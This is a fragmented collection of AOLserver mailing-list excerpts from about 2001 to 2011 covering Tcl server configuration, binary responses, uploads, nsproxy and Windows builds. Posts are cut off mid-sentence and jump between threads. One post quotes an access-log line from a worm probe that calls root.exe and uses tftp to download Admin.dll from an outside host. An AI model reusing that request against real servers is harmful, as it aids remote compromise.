On Oct 19, 2011, at 6:51 PM, Andrew Piskorski wrote:
On Wed, Oct 19, 2011 at 05:09:48PM +0100, Fenton, Brian wrote:
A new AOLserver release would be amazing, but maybe seeing as 4.0
was first released 8 years ago, we could consider that it's about
time for a move to 5.0?
I guess he
I don't really see why there's an error either. But if you fix the problem
that is masking the error reporting, you'll have a much better chance of
finding out.
Rusty
On Aug 22, 2011, at 8:50 PM, Thorpe Mayes wrote:
Hi Peter,
Thanks for the response.
I did not make myself clear. My
Personally I like the Oracle behavior.
Man, I hate it. See code at the end of this email.
Why is it that you can't get out what you put in? 'is null' doesn't
make a lot of sense to me to begin with (please, just accept test=NULL!)
but the fact that oracle turns my '' into a null means that
And in regards to protecting from sql injections, using ns_dbquote and
the binding emulation both seem like they'd do the trick. If your bind
variable or quoted variable contains something like NULL or a bit of SQL
or a special column like the postgres equivalent of sysdate which is
slipping
Oh, it makes perfect sense within the formal framework of SQL. no
value is not the same as a value which is empty.
The difference isn't as obvious with strings, but i = 0 is not the
same as I have no value for i. Unknowns are important.
In Tcl we do it typically by saying [info exists i]
OK, I tried it, and you're right, I stand corrected. I seemed to recall
it operating differently.
Rusty
Don Baccus wrote:
On Dec 5, 2009, at 10:34 AM, Rusty Brooks wrote:
I'm not sure what would happen if you had actual binding, like the
oracle driver and did this
If you want to learn
Config files are all per-webserver so there may be more than one.
Typically they're supplied on the command line using the -t option and
you can sometimes get them with ps...
ps ax | grep nsd
3182 ?Ssl0:05 /opt/AOLServer/bin/nsd -b * -t
of the output. The reason I was looking for this
file is to see what directory is serving out the webpages. I have never
used aolserver before, I am used to apache web server. isn't the
config.tcl just a example config file for aolserver?
thanks
On Fri, Jun 26, 2009 at 10:47 AM, Rusty Brooks m
Troll Apologist
Dossy Shiobara wrote:
Juan José del Río - Simple Option wrote:
On Fri, 2008-11-14 at 14:13 -0600, Ryan Melendez wrote:
On Fri, 2008-11-07 at 11:38 -0600, Andrew Steets wrote:
Here is a patch that just puts an empty list where the connection info
would be in the case that the
I do AOLServer hosting, sort of. That is, I do AOLServer development
and there aren't many people who do hosting, so I host all my customers
myself. I'd be happy to donate space and bandwidth.
Rusty
Dossy Shiobara wrote:
Jeff Hobbs wrote:
They just moved their entire data center to
I don't have any opinion on the fix, but I think the actual objection to
using the filename in the fix is that this would cause hard links to
files, which are for all intents and purposes The Same File, to be
considered different files by fastpath. (Hard links have different
names, but the
Personally I can't
imagine any persuasive argument that a caching mechanism that can easily
confuse /usr/local/private/var/rootpass and
/var/tmp/verisign/certs/webcert.txt should be enabled by default in a
web server.
Oh, come on. Only if you're rapidly creating and deleting these files.
Weird. Does it show up in the server log or something?
Rusty
Bernhard van Woerden wrote:
I'm trying out AOLserver4.5 on FreeBSD7 and can't get the control port
to echo back the results of a command
e.g.
Welcome to nsd running at /usr/local/aolserver/bin/nsd (pid 1522)
AOLserver/4.5.0
as a server. But internally you can define/derive types as described in
the XML-Schema types/structures standards. Once defined, you can create and
validate types (including correct handling of min/maxOccurs, isnull, etc.)
tom jackson
On Monday 05 May 2008 20:04, Rusty Brooks wrote:
I've used
I've used TclSoap. I wasn't like, impressed with it's speed but it seems OK. It seems quite behind the
times, though, I did extensive modifications trying to get it to work with various WSDL files and in general
it does not do a complete job, which is kind of frustrating, especially when
So I have decided to stick with you guys. You are a great group of
people and I have learned a lot from you already, you are right that
it would be a mistake to stop now and look somewhere else.
Plus I think there's basically no one else.
I'd say 90% of the AOLServer expertise in the world is
I imagine ns_eval package forget whatever would probably work, but I
don't really use package, so you'd have to try it.
Rusty
Dave Bauer wrote:
On 11/2/07, *John Buckman* [EMAIL PROTECTED]
mailto:[EMAIL PROTECTED] wrote:
What do the other aolserver programmers do to ask all the tcl
I use ns_eval, which can be used to run a command in all interpreters.
Honestly, though, I don't fool around with packages much with
aolserver... I mostly have directories, and a proc that will
recursively go through them, starting at a given root. So if I have
modules/a
modules/b
Right, I actually do ns_eval $script where script is a series of loads.
Rusty
Dossy Shiobara wrote:
On 2007.11.02, Dave Bauer [EMAIL PROTECTED] wrote:
I use ns_eval {source the_tcl_file} which only works for one file at a time,
but seems to make sure the files are reloaded in every
Yeah, I do this too. To dirty the cache you can just delete the
file. I do regular rounds to delete old files.
I don't use the 404 though, that's a neat idea. Instead I register a
proc that ns_returnfiles the cache file if it exists, otherwise it makes
it and then returns it.
Bas
I noticed once long ago that they were slow when the files were greater
than a certain size, but OK otherwise. Also I think some of the
handling for uploads is in tcl, like maybe in lib/init.tcl? Maybe check
that out?
Dave Bauer wrote:
Has anyone ever tracked down why uploads to aolserver
I actually go a step further and redefine the img tag altogether (there
are other tags I modify also). In my case, I have an image database in
my system that I often make reference to in static documents and it's
nice to be able to say
img src=dbid
or
img src=img_name
I also take the
I have several interfaces, but one of my interfaces is configured with
apache on port 80, and several AOLServer instances on other ports.
Apache serves some pages/applications itself and forwards the rest to
AOLServer.
Rusty
Daniël Mantione wrote:
Op Tue, 7 Aug 2007, schreef Jeff Rogers:
check out the Referer header in ns_conn headers
Rusty
Ian Harding wrote:
If you use the internal redirect mechanism like this
ns_section ns/server/${servername}/redirects
ns_param 404 /notfound.adp ;# Not Found error page
And your notfound page wants to know what URL they originally
Whoops, you're right, it's ns_conn request. I just checked my own
not-found file. Sorry.
Rusty
Tom Jackson wrote:
Ian,
From my file-not-found.tcl file:
# Directory Listing File.
set request [ns_conn request]
set url [lindex [split $request] 1]
set path $url
set full_path [ns_url2file
with Tcl in
general since 1996. All of my professional experience has been working
with Tcl, mostly in the Web arena, and since 1999, all with AOLServer.
You can check out my resume at
http://www.rustybrooks.com/resume/
if you like.
Thanks,
Rusty Brooks
[EMAIL PROTECTED] wrote:
I am looking
We'll need more information, most notably your config file. Make sure
to redact any passwords, hostnames, etc. My guess is that you're either
not loading the database driver, or not configuring the ns_db section
properly.
Rusty
Thorpe Mayes wrote:
I have recently installed aolserver 4.5.
If your PDF has binary content in it, then ns_return won't work with
it. If you don't want to write to a file and ns_returnfile, then you
might try ginning up a response with ns_write, which handles binary data OK
Rusty
Ian Harding wrote:
Hello,
I know this is an easy question, I am just
I don't believe you can use ns_return with binary data.
By the way, are there any plans to change that? Or make a
ns_return_binary or something? I have a lot of code that writes to a
file and then does ns_returnfile
Rusty
John Buckman wrote:
How do you enable gzip page compression on
Excellent. I'd be happy even if it was just a flag or something like
ns_return -binary 200 image/jpeg $mydata
John pointed out to me that you can fake it OK by using ns_write and
doing all the headers and what not yourself.
Rusty
Dossy Shiobara wrote:
On 2007.04.19, Rusty Brooks [EMAIL
(like, ns_returnz).
Anyway, the fact that there are hacks to get around ns_return's
inability to handle binary data, doesn't mean that it isn't a bug...
Rusty
Michael Andrews wrote:
Can't you just do a ns_returnfile?
M
On Apr 19, 2007, at 2:27 PM, Rusty Brooks wrote:
Excellent. I'd
would
ns_eval [ns_markfordelete]
work? ns_eval runs a bit of tcl code in each thread.
Personally, I don't use packages/package require, I have an init script
that loads everything. Additionally, all my pieces of code are broken
up into modules. So I can say something like module_load
would
ns_eval [ns_markfordelete]
work? ns_eval runs a bit of tcl code in each thread.
See, I knew there ought to be an easy way! Thanks!
I'm sure you caught it, but I should have written
ns_eval ns_markfordelete
(no brackets)
I kind of do the same thing, in that I have an init proc that
There are lots of parameters in driver.c that don't seem to be
documented. For running under windows, an important one is backlog.
Without setting this, you can't get more than 5 connections at a time.
(That is, apachebench -c 6 will fail...). Linux did not seem to have
this problem but
The readme has some basic install instructions. I used the VC++
compiler to compile it, and I've been running it under windows for a
while, mostly because my main dev computer is windows, and I just want
to run one locally. I never really tried to do it the cygwin way.
Rusty
Tom Jackson
There is a free version of MSVC. Check here:
http://msdn2.microsoft.com/en-us/visualc/default.aspx
Look for the Download the Free Visual C++ 2005 Express Edition link.
I think it has most of the capabilities of the non-free version,
probably missing lots of docs and maybe some addons or
Look modules/tcl/form.tcl, search for ns_unlink - that's where it
schedules the file to be deleted at close.
Generally, I just copy the file, if I need to, before the page exits.
Rusty
Pedro Liska wrote:
Hi!
I'm moving my web server from AOLserver 3.3 to AOLserver 4.5.
With my old
I couldn't get it to compile under windows. Under linux, it crashes for me.
John Buckman wrote:
I still have been unable to get nsproxy to work. Did you try that
thing I sent you a few weeks back? (Basically nsproxy would work for
a few minutes and then crash the server)
FYI, nsproxy
Dossy,
I still have been unable to get nsproxy to work. Did you try that thing
I sent you a few weeks back? (Basically nsproxy would work for a few
minutes and then crash the server)
Rusty
Dossy Shiobara wrote:
On 2006.09.30, John Buckman [EMAIL PROTECTED] wrote:
Right restarting is
It's stateless. Think of it like a database connection. AOLServer just
needs to pipe commands to this channel and get results back.
Rusty
Dossy Shiobara wrote:
On 2006.09.07, Rusty Brooks [EMAIL PROTECTED] wrote:
I think it probably is. Why don't you think so? My goal is to open one
jackson
On Thursday 07 September 2006 08:13, Rusty Brooks wrote:
Dossy Shiobara wrote:
On 2006.09.07, Rusty Brooks [EMAIL PROTECTED] wrote:
I'd like to see this as a feature of AOLServer... being able to mark a
channel as do-not-cleanup.
I honestly don't think
Shiobara wrote:
On 2006.09.07, Rusty Brooks [EMAIL PROTECTED] wrote:
It's stateless. Think of it like a database connection. AOLServer just
needs to pipe commands to this channel and get results back.
Then, I'd try the suggestion of replacing ns_cleanupchans with your own
version
And the segfaulting when you do this? Also a feature? I'd call it a
bug. Nothing you can do in an adp, scheduled proc, etc, etc (plain tcl)
should cause the server to crash.
Rusty
Titi Ala'ilima wrote:
It's not a bug, it's a feature. Seriously. Sometimes you want to return a
response
It's funny... I know we're all experienced developers and that
therefore all of our viewpoints have validity, but to me debugger test
cases. I am really doubting you are going to have enough test cases to
cover all conceivable reasonable inputs.
This is not meant to be a barb, but, for
complex than a project
like AOLServer, and I do too for the most part, but even web apps and
the like can get too large and complex to rely on test cases and ns_log
alone.
Rusty
Dossy Shiobara wrote:
On 2006.09.06, Rusty Brooks [EMAIL PROTECTED] wrote:
It's funny... I know we're all
FYI:
I did some more work on getting nsproxy to work under windows. The next
problem we run into is that it makes use of readv() and writev() which
are not directly available in windows. Some research that I did
indicates that some compilers have sort of wrappers for them but even
those
at least I don't have to do it all
through one connection.
Did anyone look at the nsproxy email I sent the other day, and manage to
duplicate my problems?
Rusty
Jeff Rogers wrote:
Rusty Brooks wrote:
Actually I can already think of a lot more uses of this. I've been
using AOLServer since
Running nsproxy on debian linux, I quite frequently get this:
Fatal: received fatal signal 11
and then the server becomes unresponsive. It seems to happen at
random. I can't (regularly) reproduce it in a simple test case, but it
does happen most times in the test case (which I have included
I exec stuff all the time from aolserver, all kinds of stuff. Don't
know if it's had negative impact or not. At a previous job, we had
several aolserver boxes that would exec some stuff thousands of times a
day. I'm going to recommend they try nsproxy.
Rusty
Nathan Folkman wrote:
[EMAIL
Hi there,
I have a task I need to try to do in AOLServer which is not working out
so well so far.
The deal is, I need to open a connection to a port on the same machine,
or another machine, and send commands back and forth. That part is easy
enough.
The connection needs to be persistent
problem was nsproxy explicitly created to
solve? Just generic tidbits like this, or was there another force
behind it?
Rusty
Dossy Shiobara wrote:
On 2006.08.25, Rusty Brooks [EMAIL PROTECTED] wrote:
The deal is, I need to open a connection to a port on the same machine,
or another
, because now it wants to use
cygwin's stdio, etc, etc.
What is it that poll.h is for, and is there some equivalent in windows?
Something I can download?
Any thoughts?
Dossy Shiobara wrote:
On 2006.08.25, Rusty Brooks [EMAIL PROTECTED] wrote:
The deal is, I need to open a connection
Shiobara wrote:
On 2006.08.25, Rusty Brooks [EMAIL PROTECTED] wrote:
Maybe this is a Windows problem...
Very likely. I don't think nsproxy was built on Win32 before we
released. Oops.
nsproxy does not build by default on windows. Actually grepping through
the files I don't think it gets
and which serves as an example of how to use
the SQLite library.
--
Rusty Brooks : http://www.rustybrooks.org/
--
.
mkm
--
Rusty Brooks : http://www.rustybrooks.org/
--
would probably need another little push...
Many thanks,
Christian
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
that's being interpreted. I am sure there exists some smarter way by
which the file can be loaded once at aolserver startup, I just don't know
how. Could someone give me a hint as to this?
Thanks in advance,
Christian
--
Rusty Brooks : http
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
ns_mutex lock [nsv_get sharedLock logFile]
nsv_append sharedLock logFile log $line
nsv_append appends a string to an element in an nsv array, in this
case, sharedLock-logFile. I do not think this is what you want.
What I think you probably want is something like
ns_mutex lock [nsv_get
On 2002.02.19, Simos Gabrielidis [EMAIL PROTECTED] wrote:
Using FTP or SAMBA it takes less than 1 second to transfer a 6MBytes
movie
file, so I am rather confident it is not a network problem.
Can you post your code again? I seem to have missed it.
I think I should have been a little more clear about what I meant by
headers. See, there are headers for the entire page, but each part of
the multi-part form can also have a set of headers, usually just
Content-Type and Content-Encoding if relevant. Netscape doesn't seem to
send any of them
This is correct. However, the form.tcl is not optimal code. You
don't need to go through and search each line. You start at the
beginning and break into parts by doing
string first \n$bound\n $string
I thought about this. There's no reason it wouldn't work, but you'd have
to be
Take a look at
modules/tcl/form.tcl
in the AOLServer distribution. It is actually responsible for handling
the
uploaded files. It's not the speediest thing in the world, and I'm pretty
sure this is the problem.
For example, it examines *every line* of the incoming file to see if it
matches the
I'd like to know what version of form.tcl you are using. I tested
quickly in an isolated environment (outside of aolserver), and
feeding it about a 1MB file, it parses in about 1.4 secs. This
is replacing the nsv_ stuff with just array set calls and avoiding
the data to disk copies. This
Sorry about that last one not having a subject. I changed email clients
and the new one generates a Sender: header that listserv won't take
(because it doesn't match what I registered with). So it's all cut and
paste.
I was curious so I went and looked:
my original test had 227,000 lines
my
is that this won't
work with registered procs and would require distinguishing ADP files
and change /directory/ to /directory/index.adp and so on. But it is wort
h considering...
--
WK
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
on NS for me, and not on IE. IE still
puts the file name in place. IE 5.5
Thanks !!
divney
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
anyone seen anything like this before?
Thanks,
Sean
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
source /path/to/tcl-library
statement at the beginning of the tcl/adp file that uses the library
procedures. That re-sources the library for the current thread only -
if you call another page that has no such source statement then it may
or may not use the new library version.
If you'd
66.12.36.10 - - [18/Sep/2001:09:20:30 -0700] GET
/scripts/root.exe?/c+tftp%20-i%2066.12.36.10%20GET%20Admin.dll%20Admin.dll HTTP/1.0
200 158
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
this is just too annoying.
Indeed. Hasn't anyone ever heard of doing a head to see if you're
attacking a real IIS server before sending a few hundred requests?
Rusty
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
Right. Well, code red just tried one URL. This one checks about a
hundred places per attacking host to see if you're vulnerable.
It's actually slowing things down on our websites pretty noticably.
--
Rusty Brooks : http://www.rustybrooks.org
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
wanted to compile AOLserver 3.4 using Cygwin (downloaded the 'latest'
directory from a cygwin mirror). It failed after type'ing make.
Anyone ever tried 3.x with Cygwin?
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
it out at:
http://www.rustybrooks.org/test/test_form.adp
to view the ADP source, look at
http://www.rustybrooks.org/source/test/test_form.adp
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
?
Thank you.
Fahd,
___
Get your FREE download of MSN Explorer at http://explorer.msn.com
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
stuff
after 10 startThreadTest
}
which if I'm not mistaken will fix your problem.
Or, you can do something like
while 1 {
startThreadTest
}
Rusty
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
webserver, and I
could poll it once a day or so to update the number of code red attacks on
my status page, per domain.
If this sounds interesting to anyone, I'd sure like to try it.
Rusty
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from
in books like the O'Reilly pthreads book.
--
Rusty Brooks : http://www.rustybrooks.org/
Spewing wisdom from every orifice
--
takes place in unix, our
application is a windows deal. So, using vmware means we no longer have
to have a windows pc sit in the corner that only gets used to build
official windows versions.
Rusty
(www.cygwin.com and www.vmware.com)
--
Rusty Brooks : http
81 matches
Mail list logo